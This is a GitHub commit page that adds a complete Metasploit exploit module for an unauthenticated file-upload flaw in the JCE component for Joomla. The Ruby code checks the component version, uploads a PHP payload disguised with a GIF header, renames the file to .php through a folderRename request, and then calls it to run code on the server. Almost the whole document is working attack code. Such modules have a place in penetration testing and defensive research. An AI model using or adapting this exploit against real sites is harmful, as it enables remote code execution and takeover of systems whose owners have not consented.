Skip to content

Commit b5c65ad

Browse files
committed
add Joomla Component JCE File Upload Code Execution
1 parent 4d7daac commit b5c65ad

File tree

1 file changed

+196
-0
lines changed

1 file changed

+196
-0
lines changed
Lines changed: 196 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,196 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Joomla Component JCE File Upload Code Execution',
18+
'Description' => %q{
19+
This module exploits a vulnerability in the JCE component for Joomla!
20+
could allow a unauthenticated remote attacker to upload arbitrary files,
21+
caused by the fails to sufficiently sanitize user-supplied input.
22+
Sending a specially-crafted HTTP request, a remote attacker could exploit
23+
this vulnerability to upload a malicious PHP script, which could allow the
24+
attacker to execute arbitrary PHP code on the vulnerable system.
25+
},
26+
'Author' => [ 'Heyder Andrade <eu[at]heyderandrade.org>' ],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
['BID', '49338'],
31+
['EDB', '17734'],
32+
],
33+
'Privileged' => false,
34+
'Payload' =>
35+
{
36+
'Keys' => ['php'],
37+
'DisableNops' => true,
38+
'Compat' =>
39+
{
40+
'ConnectionType' => 'find',
41+
},
42+
'Space' => 1024, # default upload max_size
43+
},
44+
'Platform' => 'php',
45+
'Arch' => ARCH_PHP,
46+
'Targets' => [[ 'Automatic', { }]],
47+
'DisclosureDate' => 'Aug 2 2012',
48+
'DefaultTarget' => 0))
49+
50+
register_options(
51+
[
52+
OptString.new('URI', [true, "Joomla directory path", "/"])
53+
], self.class)
54+
end
55+
56+
57+
def get_version
58+
# check imgmanager version
59+
@uri_base = normalize_uri(datastore['URI'], 'index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager')
60+
uri = ''
61+
uri << @uri_base
62+
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
63+
res = send_request_cgi(
64+
{
65+
'uri' => uri,
66+
'method' => 'GET',
67+
'version' => '1.1',
68+
69+
}, 25)
70+
71+
if (res and res.code == 200)
72+
res.body.match(%r{^\s+?<title>Image\sManager\s:\s?(.*)<})
73+
version = $1.nil? ? nil : $1
74+
end
75+
76+
return version
77+
end
78+
79+
def check
80+
version = ( get_version || '').to_s
81+
82+
if (version.match(%r{1\.5\.7\.1[0-4]?}))
83+
return Exploit::CheckCode::Vulnerable
84+
end
85+
86+
return Exploit::CheckCode::Safe
87+
end
88+
89+
90+
def upload_gif
91+
# add GIF header
92+
cmd_php = "GIF89aG\n<?php #{payload.encoded} ?>"
93+
94+
# Generate some random strings
95+
@script_name = rand_text_alpha_lower(6)
96+
boundary = '-' * 27 + rand_text_numeric(11)
97+
98+
uri = ''
99+
uri << @uri_base
100+
uri << '&method=form'
101+
102+
# POST data
103+
data = "--#{boundary}\r\n"
104+
data << "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n"
105+
data << "/\r\n"
106+
data << "--#{boundary}\r\n"
107+
data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"\r\n"
108+
data << "Content-Type: application/octet-stream\r\n\r\n"
109+
data << "\r\n"
110+
data << "--#{boundary}\r\n"
111+
data << "Content-Disposition: form-data; name=\"upload-overwrite\"\r\n\r\n"
112+
data << "0\r\n"
113+
data << "--#{boundary}\r\n"
114+
data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@script_name}.gif\"\r\n"
115+
data << "Content-Type: image/gif\r\n\r\n"
116+
data << "#{cmd_php}\r\n"
117+
data << "--#{boundary}\r\n"
118+
data << "Content-Disposition: form-data; name=\"upload-name\"\r\n\r\n"
119+
data << "#{@script_name}\r\n"
120+
data << "--#{boundary}\r\n"
121+
data << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
122+
data << "upload\r\n"
123+
data << "--#{boundary}--\r\n\r\n"
124+
res = send_request_cgi({
125+
'uri' => uri,
126+
'method' => 'POST',
127+
'version' => '1.1',
128+
'data' => data,
129+
'ctype' => 'multipart/form-data; boundary=' + boundary
130+
}, 25)
131+
132+
if (res and res.code = 200 )
133+
return :access_denied if (res.body =~ /RESTRICTED/i)
134+
print_good("Successfully uploaded #{@script_name}.gif")
135+
else
136+
print_error("Error uploading #{@script_name}.gif")
137+
return :abort
138+
end
139+
140+
return :success
141+
142+
end
143+
144+
def renamed?
145+
# Rename the file from .gif to .php
146+
uri = ''
147+
uri << @uri_base
148+
uri << '&version=1576&cid=20'
149+
150+
data = "json={\"fn\":\"folderRename\",\"args\":[\"/#{@script_name}.gif\",\"#{@script_name}.php\"]}"
151+
152+
print_status("Change Extension from #{@script_name}.gif to #{@script_name}.php")
153+
154+
res = send_request_cgi(
155+
{
156+
'uri' => uri,
157+
'method' => 'POST',
158+
'version' => '1.1',
159+
'data' => data,
160+
'ctype' => 'application/x-www-form-urlencoded; charset=utf-8',
161+
'headers' =>
162+
{
163+
'X-Request' => 'JSON'
164+
}
165+
}, 25)
166+
if (res and res.code == 200 )
167+
print_good("Renamed #{@script_name}.gif to #{@script_name}.php")
168+
return true
169+
else
170+
print_error("Failed to rename #{@script_name}.gif to #{@script_name}.php")
171+
return false
172+
end
173+
end
174+
175+
def call_payload
176+
directory = 'images/stories/'
177+
print_status("Calling payload: #{@script_name}.php")
178+
uri = normalize_uri(datastore['URI'])
179+
uri << directory + @script_name + ".php"
180+
res = send_request_raw({
181+
'uri' => uri
182+
}, 25)
183+
end
184+
185+
def exploit
186+
187+
return if not check == Exploit::CheckCode::Vulnerable
188+
if upload_gif == :success
189+
if renamed?
190+
call_payload
191+
end
192+
end
193+
194+
end
195+
196+
end

0 commit comments

Comments
 (0)